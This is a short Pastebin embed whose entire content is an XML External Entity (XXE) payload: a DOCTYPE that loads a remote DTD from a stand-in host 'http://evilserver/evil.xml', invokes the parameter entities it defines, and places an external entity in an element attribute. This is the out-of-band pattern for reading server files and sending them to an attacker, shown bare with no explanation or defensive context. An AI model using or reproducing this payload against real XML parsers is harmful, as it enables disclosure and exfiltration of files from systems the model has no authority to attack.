document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root [
  3. <!ENTITY % remote SYSTEM "http://evilserver/evil.xml">
  4. %remote;
  5. %param1;
  6. ]>
  7. <elemento atributo="&xxe;"/>
');